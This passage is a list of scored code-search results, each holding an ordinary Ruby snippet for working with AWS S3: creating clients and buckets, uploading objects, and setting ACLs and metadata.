{
"docid": "8215407371c1cee0326dc6ce0bb969a5",
"score": "0.5959341",
"text": "def setup_code_deploy_s3_buckets\n @regions.uniq.each do |region|\n client = s3_client(region:)\n name = bucket_name(region)\n bucket = Aws::S3::Bucket.new(\n name,\n client:\n )\n bucket.create unless bucket.exists?\n end\n end",
"title": ""
},
{
"docid": "3d90c8f225ea34d8c2ceada5a5e1b800",
"score": "0.5945085",
"text": "def aws_instance_S3_object_create(bucket, name, attribute, url_method)\n name = aws_S3_object_name(name)\n log \"AWS: creating S3 Object '#{name}'\"\n obj = aws_call('aws_S3_obj_create', bucket: bucket, name: name)\n \n log \"AWS: getting S3Object url for '#{obj.key}'\"\n url = aws_call('aws_S3_bucket_url_get', obj: obj, method: url_method)\n self.update_attribute(attribute, url.to_s)\n\n obj\n end",
"title": ""
},
{
"docid": "275e8a5f669b734f3afadf8e04533a2c",
"score": "0.5899031",
"text": "def s3_client\n Aws::S3::Client.new(\n access_key_id: ENV['s3_access_id'],\n secret_access_key: ENV['s3_access_secret'],\n region: ENV['s3_region']\n )\n end",
"title": ""
},
{
"docid": "a6a268536172a473d699dc76f539bba8",
"score": "0.58658236",
"text": "def create\n @bench_test_s3 = BenchTest::S3.new(params[:bench_test_s3])\n\n mark_as_starting @bench_test_s3\n\n\n respond_to do |format|\n if @bench_test_s3.save\n format.html { redirect_to(@bench_test_s3, :notice => 'S3 was successfully created.') }\n format.xml { render :xml => @bench_test_s3, :status => :created, :location => @bench_test_s3 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bench_test_s3.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1db92ec392bf12d3e459ae909da6ac1d",
"score": "0.5860748",
"text": "def create_object(bucket_name, key, data, headers = {}, meta_headers = {}, acl = :private)\n headers = headers.dup\n meta_headers.each do |k,v|\n headers[k =~ /^x-amz-meta-/i ? k : \"x-amz-meta-#{k}\"] = v\n end\n headers['x-amz-acl'] = acl.to_s.gsub(/_/, '-')\n\n response = send_s3_request('PUT', :bucket => bucket_name, :key => key, :headers => headers, :data => data)\n response.is_a?(Net::HTTPSuccess)\n end",
"title": ""
},
{
"docid": "df75a9dc5190c19509c8d703ee8ab6b9",
"score": "0.585326",
"text": "def initialize(env = Rails.env)\n @logger = Rails.logger\n @env = env\n\n #\n # RegEx to filter bucket objects by key\n #\n @filter = %r{[avatars|subfolder]/\\d+/.*\\.[jpg|png|jpeg]}i\n\n #\n # How long can the client (including Cloudfront) cache the resource?\n # (In seconds)\n #\n @cache_control = \"max-age=#{ 1.month.to_i }\"\n\n #\n # Access Control List\n # http://docs.aws.amazon.com/AWSRubySDK/latest/AWS/S3/S3Object.html#acl%3D-instance_method\n #\n @acl = :public_read\n self\n end",
"title": ""
},
{
"docid": "ab576c63a780470756deea9a5058fd3b",
"score": "0.5823511",
"text": "def connect_s3\n\t\t\tif(@s3.nil?)\n\t\t\t\t\t@s3 = AWS::S3.new(access_key_id: S3_CONFIG[Rails.env][\"s3_key\"], secret_access_key: S3_CONFIG[Rails.env][\"s3_secret\"])\n\t\t\t\t\t@medectomy_bucket = @s3.buckets[S3_CONFIG[Rails.env][\"s3_bucket\"]]\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "6116894726b667b96a3437f65b430ba0",
"score": "0.58026874",
"text": "def punch\n s3 = Aws::S3::Resource.new(region: ENV['S3_REGION'])\n obj = s3.bucket(ENV['S3_BUCKET']).object(@name)\n \n begin\n # Upload the file\n obj.upload_file(\n @file.path,\n content_type: MimeMagic.by_path(@file.path).type,\n acl:'public-read'\n )\n rescue => e\n Rails.logger.error { \"#{e.message} #{e.backtrace.join(\"\\n\")}\" }\n return false\n end\n \n # Create an object for the upload\n return upload = {\n file_name: obj.key,\n file_url: obj.public_url,\n file_type: obj.content_type,\n file_size: obj.size\n }\n \n end",
"title": ""
},
{
"docid": "637f4e547b830fe0b0bdcdc9c43490c2",
"score": "0.58007216",
"text": "def s3_gen_bucket\n s3_gen.bucket(App.aws_bucket,true)\n end",
"title": ""
},
{
"docid": "649263bd4f0df55df77e9f09a0389165",
"score": "0.5794734",
"text": "def connect_to_s3\n config = {\n provider: 'AWS',\n aws_access_key_id: ENV['IMAGO_S3_KEY'],\n aws_secret_access_key: ENV['IMAGO_S3_SECRET'],\n path_style: true\n }\n Fog::Storage.new(config)\nend",
"title": ""
},
{
"docid": "adc754301ba2fed7960224e039ec77aa",
"score": "0.5748362",
"text": "def bucket; ::AWS::S3.new({ secure: true }).buckets[DC::SECRETS['bucket']]; end",
"title": ""
},
{
"docid": "fb5a5f5f11ae5909a8e91ca0613f2da6",
"score": "0.57477635",
"text": "def local_and_s3\n local\n s3\n end",
"title": ""
},
{
"docid": "021df7da6963937540ac9caaa7035862",
"score": "0.5744446",
"text": "def getObjectsList\n begin\n #get a handle on the user selected bucket\n s3 = createS3Connection\n bucket = s3.buckets[session[:s3bucket]]\n\n #pull down a list of the object names only\n objects_array = []\n # final_objects_array = []\n\n #bucket.objects.each do |obj|\n # objects_array.push(obj.key)\n #end\n\n bucket.objects.each do |obj|\n objects_array.push({:name => obj.key, :size => (obj.content_length / 1024.0).round(2), :type => obj.content_type, :last_mod => obj.last_modified})\n end\n\n objects_array = createEmptyObjectsArray if objects_array.empty?\n\n return objects_array\n #if !objects_array.empty?\n # objects_array.each do |obj_name|\n # final_objects_array.push({:name => obj_name, :size => '', :type => ''})\n # end\n # else\n # final_objects_array = [{:name => '', :size => '', :type => ''}]\n # end\n # return final_objects_array\n rescue Exception => error\n # return createEmptyObjectsArray\n return createEmptyObjectsArray\n flash.now[:danger] = \"<strong>Error!</strong>\".html_safe + \" Problem creating S3 object list: #{error}.\"\n end\n end",
"title": ""
},
{
"docid": "a2e4033c944db63cbdb711b584e65973",
"score": "0.57444096",
"text": "def createS3Connection\n begin\n s3 = AWS::S3.new(:access_key_id => session[:s3username],\n :secret_access_key => session[:s3password],\n :s3_endpoint => session[:s3address],\n :use_ssl => session[:use_ssl]\n )\n return s3\n rescue Exception => error\n return nil\n flash.now[:danger] = \"<strong>Error!</strong>\".html_safe + \" Problem creating connection: #{error}.\"\n end\n end",
"title": ""
},
{
"docid": "54ec5d9de959609570e86217d9a0f291",
"score": "0.57338184",
"text": "def s3_object\n @s3_object ||= bucket.objects[full_key]\n end",
"title": ""
},
{
"docid": "a1047647db67cdb5f91f6cb8ffc4d3e7",
"score": "0.5732588",
"text": "def connect()\n access_key = ENV[\"AWS_ACCESS_KEY_ID\"] || raise(\"Missing environment variable AWS_ACCESS_KEY_ID\")\n secret_key = ENV[\"AWS_SECRET_ACCESS_KEY\"] || raise(\"Missing environment variable AWS_SECRET_ACCESS_KEY\")\n\n logger = Logger.new('/dev/null')\n RightAws::S3.new(access_key, secret_key, :logger => logger)\n end",
"title": ""
},
{
"docid": "003a00f47f59a5f169a885e8ca0d965a",
"score": "0.5703899",
"text": "def s3_client\n log_warning('unable to connect to s3') do\n @s3_client ||= Aws::S3::Client.new\n end\n end",
"title": ""
},
{
"docid": "5f7d1dd925c9d59079f9aa0a024c1dc7",
"score": "0.5694515",
"text": "def initialize(config)\n @access_key = config[:access_key] || config[\"access_key\"]\n @secret_key = config[:secret_key] || config[\"secret_key\"]\n @region = config[:region] || config[\"region\"]\n @date = Time.now.utc.strftime(RFC8601BASIC)\n @service = \"s3\"\n end",
"title": ""
},
{
"docid": "35247ed25053105ad03e4fbadb721ef4",
"score": "0.56926394",
"text": "def setup\n file = \"#{base_name}/#{flow}.json\"\n s3_object = amazon_s3.bucket.object(file)\n\n if !s3_object.exists? || force_save\n amazon_s3.export file_name: file, objects: [config], override: true\n end\n generate_extra_flows if SETUP_EXTRA_FLOWS_ARRAY.include?(flow)\n end",
"title": ""
},
{
"docid": "0225c0786e39017272c0d8bdfc46094c",
"score": "0.5679441",
"text": "def initialize(key, secret, bucket, region)\n @s3_client = S3Client.new(key, secret, bucket, region)\n @uploader = BackupUploader.new(@s3_client)\n @rotator = BackupRotator.new(@s3_client)\n end",
"title": ""
},
{
"docid": "b61aad85068c5fc84a9f31aa6d0c24fb",
"score": "0.56643397",
"text": "def set_metadata\n s3_obj.metadata[\"filename\"] = file_name\n s3_obj.metadata[\"bindery-pid\"] = persistent_id\n end",
"title": ""
},
{
"docid": "87f089976fe2b3d12dec7a967320991b",
"score": "0.5643293",
"text": "def establish_s3_connection\n @s3_connection = AWS::S3::Base.establish_connection!(get_keys)\nend",
"title": ""
},
{
"docid": "5a55c9a798efb2611daa41ff5e5bf4cd",
"score": "0.56374204",
"text": "def s3_connection\n @s3connection ||= connect_to_s3\nend",
"title": ""
},
{
"docid": "774a0d9f252b4c8c218675e95c29db09",
"score": "0.56273985",
"text": "def nuixWorkerItemCallbackInit\n\tawsAccess=###################\n\tawsSecret=###################\n\tawsRegion='us-east-1'\n\t$client = Aws::S3::Client.new(access_key_id: awsAccess, secret_access_key: awsSecret, region: awsRegion)\n\n\tjava_import com.nuix.superutilities.SuperUtilities\n\t$su = SuperUtilities.init(nil,$nuix_version)\n\tjava_import com.nuix.superutilities.export.JsonExporter\n\t$json_exporter = JsonExporter.new\nend",
"title": ""
},
{
"docid": "c5ad8f081fecdc1906a0b61efdd3af89",
"score": "0.56229496",
"text": "def setup\n Carnivore.configure!(:verify)\n @connection = Miasma.api(\n connection_arguments.deep_merge(\n Smash.new(\n :type => :storage\n )\n )\n )\n @bucket = @connection.buckets.get(bucket_name)\n unless(@bucket)\n @bucket = @connection.buckets.build(:name => bucket_name).save\n end\n end",
"title": ""
},
{
"docid": "6ef3c880bd62874573c17acbd89cb96d",
"score": "0.56154627",
"text": "def s3_client\n region = @options[:region] || ENV[\"AWS_REGION\"]\n @s3_client ||= Aws::S3::Client.new(region: region)\n end",
"title": ""
},
{
"docid": "e6eb8c628734ce2d68657e26fa5b4a79",
"score": "0.5606843",
"text": "def s3_upload( file_name, destination_name )\n #log(\"Uploading #{file_name} to S3 as #{destination_name} ...\")\n #load keys\n json = File.read(S3KEYS)\n ak = JSON.parse(json)\n aws_access_key_id = ak['aws_access_key_id'] \n aws_secret_access_key = ak['aws_secret_access_key']\n\n #establish S3 connection \n s3 = RightAws::S3.new(aws_access_key_id, aws_secret_access_key, {:logger =>Logger.new( File.open( LOG_FILE, 'a' ) )})\n bucket = s3.bucket(IOS_BUILDS_BUCKET)\n #upload file \n file = File.open( file_name )\n bucket.put( destination_name, file ) \nend",
"title": ""
},
{
"docid": "8e789ee332f818ca9bdea05a66d82bbf",
"score": "0.5606448",
"text": "def initialize(folder_path, bucket, aws_key = ENV['AWS_ACCESS_KEY_ID'], aws_secret = ENV['AWS_SECRET_ACCESS_KEY'])\n @folder_path = folder_path\n @files = Dir.glob \"#{@folder_path}/**/{*,.*}\"\n @connection = Aws::S3::Resource.new(access_key_id: aws_key, secret_access_key: aws_secret, region: 'us-east-1')\n @s3_bucket = @connection.bucket(bucket)\n end",
"title": ""
},
{
"docid": "6f9dd77b54477553c8868ab93a3cae8c",
"score": "0.55965745",
"text": "def s3_headers\n if Manifesto.public_manifests?\n { 'x-amz-acl' => 'public-read' }\n else\n {}\n end\n end",
"title": ""
},
{
"docid": "f017f1aa666f66f446fc1121a832397e",
"score": "0.5586149",
"text": "def set_upload_attributes\n tries ||= 5\n direct_upload_url_data = URI.parse(direct_upload_url).path[8..-1].to_s\n s3 = AWS::S3.new\n direct_upload_head = s3.buckets[BUCKET_NAME].objects[direct_upload_url_data].head\n self.image_file_name = direct_upload_url_data[direct_upload_url_data]\n self.image_file_size = direct_upload_head.content_length\n self.image_content_type = direct_upload_head.content_type\n self.image_updated_at = direct_upload_head.last_modified\n self.processed = false \n rescue AWS::S3::Errors::NoSuchKey => e\n tries -= 1\n if tries > 0\n sleep(3)\n retry\n else\n raise e\n end\n end",
"title": ""
},
{
"docid": "2c7108b0f0a384f623dae9696aefff51",
"score": "0.5578443",
"text": "def create_bucket( bucket_name, opts = {} )\n jbucket = JS3Bucket.new( bucket_name )\n yield jbucket if block_given?\n jbucket = @jservice.create_bucket( jbucket )\n S3Bucket.new( self, jbucket, opts )\n end",
"title": ""
},
{
"docid": "c077fdbc40d5cd54d875cc408f27a77b",
"score": "0.55741537",
"text": "def initialize(options)\n @service = S3::Service.new(\n :access_key_id => options['access_key_id'],\n :secret_access_key => options['secret_access_key'])\n @bucket = @service.buckets.find(options['bucket'])\n end",
"title": ""
},
{
"docid": "661f76b1a8c06d14460563ff59fded19",
"score": "0.556923",
"text": "def objects\n bucket_obj = Aws::S3::Bucket.new(name: bucket, client: s3_client)\n bucket_obj.objects( prefix: prefix)\n end",
"title": ""
},
{
"docid": "e5baf81ccac7d1db5f0c1b4fdfcf3748",
"score": "0.5554922",
"text": "def buckets( opts = {} )\n jbuckets = @jservice.list_all_buckets\n jbuckets.map { |jb| S3Bucket.new( self, jb, opts ) }\n end",
"title": ""
},
{
"docid": "e118ab3ec20a6a7ba157b384013401f5",
"score": "0.55517155",
"text": "def prod_s3_credentials\n {:bucket => \"alphadelta-pro\", :access_key_id => ENV['S3_KEY'], :secret_access_key => ENV['S3_SECRET_KEY'] }\n end",
"title": ""
},
{
"docid": "12e1e2342b78044ef159c21253ec0ea4",
"score": "0.55468357",
"text": "def initialize(bucket:, prefix: nil, upload_options: {}, concurrency: {}, thread_count: nil, **client_options)\n fail ArgumentError, \"the :bucket option was nil\" unless bucket\n\n if thread_count\n warn \"[Tus-Ruby-Server] :thread_count is deprecated and will be removed in the next major version, use :concurrency instead, e.g `concurrency: { concatenation: 20 }`\"\n concurrency[:concatenation] = thread_count\n end\n\n resource = Aws::S3::Resource.new(**client_options)\n\n @client = resource.client\n @bucket = resource.bucket(bucket)\n @prefix = prefix\n @upload_options = upload_options\n @concurrency = concurrency\n end",
"title": ""
},
{
"docid": "f77e3fd542a950a81a670f1a53235695",
"score": "0.5511726",
"text": "def service\n ::S3::Service.new(:access_key_id => access_key_id,\n :secret_access_key => secret_access_key,\n :use_ssl => use_ssl)\n end",
"title": ""
},
{
"docid": "086eda53f91361b1c6af429ab5403fe2",
"score": "0.5505769",
"text": "def initialize(s3_service, name)\n @s3_service = s3_service\n @bucket_name = name\n setup or create\n try_raise_uninitialized\n end",
"title": ""
},
{
"docid": "08b0601298b999b3e59bd698aec6c4e3",
"score": "0.5501434",
"text": "def bucket; ::AWS::S3.new( { :secure => false } ).buckets[DC::SECRETS['bucket']]; end",
"title": ""
},
{
"docid": "ac397ade8a1abbd12200ec1e91032fb0",
"score": "0.5481761",
"text": "def initialize(s3_client)\n @s3_client = s3_client\n end",
"title": ""
},
{
"docid": "cdeaab19e58c8865e0c58d0869233ecb",
"score": "0.5465739",
"text": "def new_i3s_client(options = {})\n OneviewSDK::ImageStreamer::Client.new(options.merge(token: @token))\n end",
"title": ""
},
{
"docid": "9e3383bc47dda475843ea9d7c8d11f0a",
"score": "0.5463237",
"text": "def create_bucket\n s3_client.create_bucket(acl: 'private', bucket: @bucket_name)\n end",
"title": ""
},
{
"docid": "dbe14741055a61bc80ae93eecea9b0d0",
"score": "0.5455852",
"text": "def create_test_bucket\n test_name = \"buckler-#{SecureRandom.hex(6)}\"\n bucket = Aws::S3::Bucket.new(test_name, client:@s3)\n bucket.create\n bucket.wait_until_exists\n return [bucket, test_name]\n end",
"title": ""
},
{
"docid": "2cafa299b62f173d6810f18c99fd33b9",
"score": "0.5438573",
"text": "def make_bucket(name)\n msg \"using bucket: #{bucket_name(name)}\"\n AWS::S3::Bucket.create(bucket_name(name))\n end",
"title": ""
},
{
"docid": "6bd640de0e0029629bc5aa31c2a9203b",
"score": "0.5430969",
"text": "def client\n @client ||= Aws::S3::Client.new(\n access_key_id: access_key,\n secret_access_key: secret_key,\n region: region\n )\n end",
"title": ""
},
{
"docid": "e282a548979c5e57fe0ef26a5aa4530c",
"score": "0.5425006",
"text": "def create_metadata(content, request)\n metadata = {}\n metadata[:md5] = Digest::MD5.file(content).hexdigest\n metadata[:content_type] = request.header[\"content-type\"].first\n if request.header['content-disposition']\n metadata[:content_disposition] = request.header['content-disposition'].first\n end\n\n if request.header['cache-control']\n metadata[:cache_control] = request.header['cache-control'].first\n end\n\n content_encoding = request.header[\"content-encoding\"].first\n metadata[:content_encoding] = content_encoding\n #if content_encoding\n # metadata[:content_encoding] = content_encoding\n #end\n metadata[:size] = File.size(content)\n metadata[:modified_date] = File.mtime(content).utc.iso8601(SUBSECOND_PRECISION)\n metadata[:storage_class] = S3Object::StorageClass::STANDARD\n metadata[:state] = S3Object::State::IN_STANDARD\n metadata[:amazon_metadata] = {}\n metadata[:custom_metadata] = {}\n\n # Add custom metadata from the request header\n request.header.each do |key, value|\n match = /^x-amz-([^-]+)-(.*)$/.match(key)\n next unless match\n if match[1].eql?('meta') && (match_key = match[2])\n metadata[:custom_metadata][match_key] = value.join(', ')\n next\n end\n metadata[:amazon_metadata][key.gsub(/^x-amz-/, '')] = value.join(', ')\n end\n metadata\n end",
"title": ""
},
{
"docid": "26cc9f18aef5974dc51aeddc4b7d3a68",
"score": "0.5417625",
"text": "def make_bucket(name)\n msg \"making bucket #{bucket_name(name)}\"\n AWS::S3::Bucket.create(bucket_name(name))\n end",
"title": ""
},
{
"docid": "2a27475d9a205a662e8e323eb4bd4d38",
"score": "0.5402211",
"text": "def create\n s3 = AWS::S3.new\n message = params[\"message\"]\n attachment_ids = params[\"attachment_ids\"] || []\n url = params[\"url\"]\n user_agent = params[\"user_agent\"]\n\n # Move files to troubleshooting bucket on submit\n # Set content disposition to download as filename\n attachments = attachment_ids.map do |id|\n filename = Redis.current.get(\"attachments:#{id}\")\n\n srcObj = s3.buckets[ENV[\"AWS_BUCKET\"]].objects[\"attachments/#{id}\"];\n destObj = s3.buckets[ENV[\"AWS_BUCKET\"]].objects[\"troubleshoot/#{id}\"];\n\n destObj.copy_from(srcObj, {\n bucket: ENV[\"AWS_BUCKET\"],\n acl: \"public-read\",\n content_disposition: filename,\n })\n\n # Remove old s3 object\n srcObj.delete\n\n next {\n id: id,\n filename: filename,\n url: \"https://s3.amazonaws.com/#{ENV['AWS_BUCKET']}/troubleshoot/#{id}\"\n }\n end\n\n TroubleshootMailer.issue_notification(user, message, attachments, url, user_agent).deliver\n\n render json: { success: true }\n end",
"title": ""
},
{
"docid": "2f7d70ecb8b0361899cb480186bb2c3e",
"score": "0.5383104",
"text": "def setup\n file = \"#{base_name}/#{flow}.csv\"\n s3_object = amazon_s3.bucket.objects[file]\n\n if !s3_object.exists? || force_save\n amazon_s3.export file_name: file, objects: [config], override: true\n end\n generate_extra_flows if %w(add_orders add_shipments).include?(flow)\n end",
"title": ""
},
{
"docid": "24ea764ac2d518747c2c64b5d915f8ea",
"score": "0.5368072",
"text": "def download_s3_file(image_info, *sightings_count)\n\n folder = image_info[0]\n filename = image_info[1]\n bucket = \"prototype-jv\"\n s3_file_path = \"#{folder}/#{filename}\"\n\n if sightings_count\n sightings_count = sightings_count[0]\n subdirectory = folder.split(\"/\")[1]\n sightings_dir = create_directory(subdirectory, sightings_count)\n swap_file = \"#{sightings_dir}/#{filename}\"\n else\n swap_file = \"./public/swap/#{filename}\" # use when running via app.rb\n # swap_file = \"../public/swap/#{file}\" # use when running locally from /lib/s3_bucket.rb\n end\n\n s3 = connect_to_s3()\n file = File.new(swap_file, 'wb')\n s3.get_object({ bucket:bucket, key:s3_file_path }, target: swap_file)\n file.close if file\n\nend",
"title": ""
},
{
"docid": "35ab9170c327f2a0588eeb2389053ca4",
"score": "0.5362746",
"text": "def initialize\n begin\n require 'aws'\n require 'timedcache'\n require 'json'\n rescue LoadError\n require 'rubygems'\n require 'aws'\n require 'timedcache'\n require 'json'\n end\n\n # Class variables\n # Data shared amongst all instance of this class.\n @@aws_config = {} # AWS access credentials from yaml.\n # Caches are shared, so that multiple AWS instances from seperate threads can share cache data\n # e.g. When a scaling event occurs.\n @@output_cache = TimedCache.new(:default_timeout => 60) #Default timeout in 60 seconds.\n @@resource_cache = TimedCache.new(:default_timeout => 60)\n\n # Class instance variables\n # We want don't want two instances trying to reuse the same connection objects, and possible\n # the same connection, so give each class it's own connection objects.\n @cf = Hash.new # Variable for hash of connection options, keyed by region.\n\n\n # Check our config key is present in hiera.yaml\n if not Config.include?(:cloudformation) || Config[:cloudformation].nil? then\n error_message = \"[cloudformation_backend]: No configuration found.\"\n Hiera.warn(error_message)\n raise Exception, error_message \n end\n\n # Check we have the AWS access_key_id\n # TODO we should have a fallback for access credentials as per documentaion.\n if not Config[:cloudformation].include?(:access_key_id) then \n error_message = \"[cloudformation_backend]: :access_key_id missing in configuration.\"\n Hiera.warn(error_message)\n raise Exception, error_message \n end\n\n #Check we have the AWS secret_access_key\n if not Config[:cloudformation].include?(:secret_access_key) then\n error_message = \"[cloudformation_backend]: :secret_access_key missing in configuration.\"\n Hiera.warn(error_message)\n raise Exception, error_message \n end\n\n # Check we have the AWS region.\n # This can be a static region name of an interpolated fact.\n # TODO: This should be improved so it can fallback to default environment or \n # dot file values. \n if not Config[:cloudformation].include?(:region) then\n error_message = \"[cloudformation_backend]: :region missing in configuration.\"\n Hiera.warn(error_message)\n raise Exception, error_message \n end\n\n if Config[:cloudformation].fetch(:parse_metadata, false) then\n debug(\"Will convert CloudFormation stringified metadata back to numbers or booleans.\")\n @parse_metadata = true\n else\n @parse_metadata = false\n end\n \n debug(\"Using AWS access key #{Config[:cloudformation][:access_key_id]}\")\n @@aws_config['access_key_id'] = Config[:cloudformation][:access_key_id]\n @@aws_config['secret_access_key'] = Config[:cloudformation][:secret_access_key]\n debug(\"Using AWS region #{Config[:cloudformation][:region]}\")\n @@aws_config['region'] = Config[:cloudformation][:region]\n debug(\"Hiera cloudformation backend loaded\")\n end",
"title": ""
},
{
"docid": "a1fda27228b0e6f2f07ecc691f00b063",
"score": "0.5358842",
"text": "def object(key)\n AWS::S3::S3Object.new(bucket, \"#{@path}#{key}\")\n end",
"title": ""
},
{
"docid": "34051e0b3076138114010af60fa80f05",
"score": "0.53587955",
"text": "def create_log_aws_s3(opts = {})\n data, _status_code, _headers = create_log_aws_s3_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "f3e3639b0eb13c45393cdddb785236e9",
"score": "0.5358415",
"text": "def initialize(conn_params = {}, aws_params = {})\n @region = aws_params.fetch(:region)\n @bucket = aws_params.fetch(:s3_bucket)\n @iam_role = aws_params.fetch(:role_arn)\n @delimiter = \"\\u0001\"\n @skip_folder_delete = ENV.fetch('REDSHIFT_SKIP_DELETE_S3_LOAD_FOLDER', nil)\n\n # note the host is never specified as its part of the dsn name and for\n # now that is hardcoded as 'MyRealRedshift'\n password = conn_params.fetch(:password)\n dsn = conn_params.fetch(:dsn, 'MyRealRedshift')\n user = conn_params.fetch(:username, nil) || conn_params.fetch(:user, '')\n raise 'No user was provided in the connection parameters' if user.empty?\n @odbc_conn_params = { database: dsn, password: password, user: user }\n ObjectSpace.define_finalizer(self, proc { disconnect })\n @row_columns_symbolized = true\n @cache_table_schema_lookup = true\n @cached_table_schemas = {}\n @tmp_dir = conn_params.fetch(:tmp_dir, '/tmp')\n @stl_load_retries = 10\n @slices_s3_files = ENV.fetch('ETL_REDSHIFT_SLICES', '5').to_i\n @bucket_manager = ::ETL::S3::BucketManager.new(\n @bucket, @region, @slices_s3_files\n )\n @max_connection_retries = 5\n end",
"title": ""
},
{
"docid": "cc9ba517c9c0f050a2f29c91b0d89bc1",
"score": "0.5358171",
"text": "def add_to(s3)\n s3_template = s3.template\n @instance_name = s3.name\n cloud_front_template = template\n s3.template.deep_merge(cloud_front_template)\n end",
"title": ""
},
{
"docid": "8d914202d46c08fb3150feea434d86b8",
"score": "0.5351295",
"text": "def s3_object(path)\n @task.s3_object(\"asgroup/#{@name}/#{path}\")\n end",
"title": ""
},
{
"docid": "1666a2a02145ca394c59d427a914866e",
"score": "0.5347174",
"text": "def initialize(s3, options = {}) \n\n # Superclass call, handles S3 and Worker \n # initialization\n super(s3, options)\n\n # Log it.\n @logger.debug(\"AwsWorkers::S3::BackupBucketTask.new called\")\n\n end",
"title": ""
},
{
"docid": "71dfd7a2a0e838ad4aec8176e4125273",
"score": "0.53451765",
"text": "def buckets\n response = send_s3_request\n parser = Awsum::S3::BucketParser.new(self)\n parser.parse(response.body)\n end",
"title": ""
},
{
"docid": "52bfaf27319d1d647490b862389b7693",
"score": "0.5340244",
"text": "def perform_multipart_upload\n s3o = S3Object.find_by(uri: @params[:s3_object_uri]) || S3Object.new\n s3o.uri = @params[:s3_object_uri]\n s3o.file = @params[:file]\n s3o.bucket = handle_bucket\n s3o.key = @params[:key]\n s3o.content_type = @params[:file].content_type\n s3o.size = File.size(s3o.file.path)\n s3o.md5 = Digest::MD5.file(s3o.file.path).hexdigest\n s3o.save!\n\n [:created, :xml, XmlAdapter.uploaded_object(\"#{@request.host}:#{@request.port}\", s3o)]\n end",
"title": ""
},
{
"docid": "f226ba571118f5d5a04f341be4eda3a4",
"score": "0.5324775",
"text": "def aws_test_bucket_resource\n Aws::S3::Resource.new(\n region: ENV['SHF_AWS_S3_TEST_BACKUP_REGION'],\n credentials: Aws::Credentials.new(ENV['SHF_AWS_S3_BACKUP_KEY_ID'],\n ENV['SHF_AWS_S3_BACKUP_SECRET_ACCESS_KEY']))\n end",
"title": ""
},
{
"docid": "6d565beaa23802b93e4dfbff4cc4cf70",
"score": "0.5323678",
"text": "def initialize(auth_hash = nil, region = DEFAULT_REGION)\n if ! auth_hash.nil?\n access_key = auth_hash[:access_key]\n secret = auth_hash[:secret]\n region = auth_hash[:region].nil? ? region : auth_hash[:region]\n else\n config_from_file = self.class.read_config\n if config_from_file.nil?\n puts \"ERROR: No AWS configuration - run XXXX\"\n exit(1)\n end\n access_key = config_from_file[:access_key]\n secret = config_from_file[:secret]\n region = config_from_file[:region].nil? ? region : config_from_file[:region]\n end\n create_s3(access_key, secret, region)\n end",
"title": ""
},
{
"docid": "40aad8a613b9574090922d13b038d265",
"score": "0.5305278",
"text": "def s3_files\n S3File.find_by_project_name(folder_name + \"/\") unless folder_name.nil?\n end",
"title": ""
},
{
"docid": "74aa032123fef4b280bac81ad1f5ae8e",
"score": "0.5304796",
"text": "def s3_resource(**opt)\n client = opt[:client] || s3_client(**opt)\n Aws::S3::Resource.new(client: client)\n end",
"title": ""
},
{
"docid": "abc48d6e26f3786994d056024df53b52",
"score": "0.53025496",
"text": "def connection\n @connection ||= AWS::S3.new\n end",
"title": ""
},
{
"docid": "691f39e55d4a2eef5d6d256f330d503b",
"score": "0.5299048",
"text": "def setup_bucket(params={})\n granting_params = { \n :s3_videos_bucket => params[:bucket],\n :user_aws_key => params[:access_key],\n :user_aws_secret => params[:secret_key]\n }\n\n put(\"/clouds/#{@cloud_id}.json\", granting_params)\n end",
"title": ""
},
{
"docid": "674e0f53c937a01f1c56151c4d3ce8c5",
"score": "0.5294804",
"text": "def bucket_created?(s3_client, bucket_name)\r\n s3_client.create_bucket(bucket: bucket_name)\r\n return true\r\nrescue StandardError => e\r\n puts \"Error creating bucket: #{e.message}\"\r\n return false\r\nend",
"title": ""
},
{
"docid": "60ec03a90ede3840d0c8f1d833816f72",
"score": "0.5291992",
"text": "def aws_instance_S3_files_save\n time = Time.now.strftime(\"%y_%m_%d\")\n bucket = aws_call('aws_S3_bucket_get', name: Rails.configuration.x.aws['s3_bucket_name'])\n\n path = self.scenario.statistic.data_path_instance(self.name)\n\n log \"AWS: saving bash history from Instance '#{self.name}'\"\n File.open(self.scenario.statistic.data_instance_bash_histories_path(self.name), \"wb\") do |f|\n f.write(aws_S3_object_get_and_read(bucket, aws_S3_object_name('bash_history')) )\n end\n\n log \"AWS: saving exit status from Instance '#{self.name}'\"\n File.open(self.scenario.statistic.data_instance_exit_statuses_path(self.name), \"wb\") do |f|\n f.write(aws_S3_object_get_and_read(bucket, aws_S3_object_name('exit_status')) )\n end\n\n log \"AWS: saving script log from Instance '#{self.name}'\"\n File.open(self.scenario.statistic.data_instance_script_logs_path(self.name), \"wb\") do |f|\n f.write(aws_S3_object_get_and_read(bucket, aws_S3_object_name('script_log')) )\n end\n end",
"title": ""
},
{
"docid": "e13f6ddef568bea83978bf97ccdc3ee0",
"score": "0.52879256",
"text": "def s3\n @s3 ||= storage.directories.get(remote).tap do |bucket|\n if setup_website == true\n bucket.public = true\n bucket.save\n storage.put_bucket_website(remote, 'index.html', key: 'error.html')\n end\n\n if redirect == true\n log \"Should be creating a redirect bucket\"\n end\n end\n end",
"title": ""
},
{
"docid": "ea082cfb4c514fee538ef41b36217dae",
"score": "0.52823484",
"text": "def create_directory(subdirectory, sightings_count)\n\n swap_dir = \"./public/swap\" # use when running via app.rb\n # swap_dir = \"../public/swap\" # use when running locally from /lib/s3_bucket.rb\n sightings_dir = \"#{swap_dir}/#{subdirectory}/#{sightings_count}\"\n\n unless File.directory?(sightings_dir)\n FileUtils.mkdir_p(sightings_dir)\n end\n\n return sightings_dir\n\nend",
"title": ""
},
{
"docid": "e0b63c336c72199b9413776461f894b7",
"score": "0.52771056",
"text": "def createEmptyObjectsArray\n begin\n return [{:name => '', :size => '', :type => ''}]\n rescue Exception => error\n return [{:name => '', :size => '', :type => ''}]\n flash.now[:danger] = \"<strong>Error!</strong>\".html_safe + \" Problem creating S3 objects list: #{error}.\"\n end\n end",
"title": ""
},
{
"docid": "d312d5d4172bff5fba28a24cd6a815d8",
"score": "0.526977",
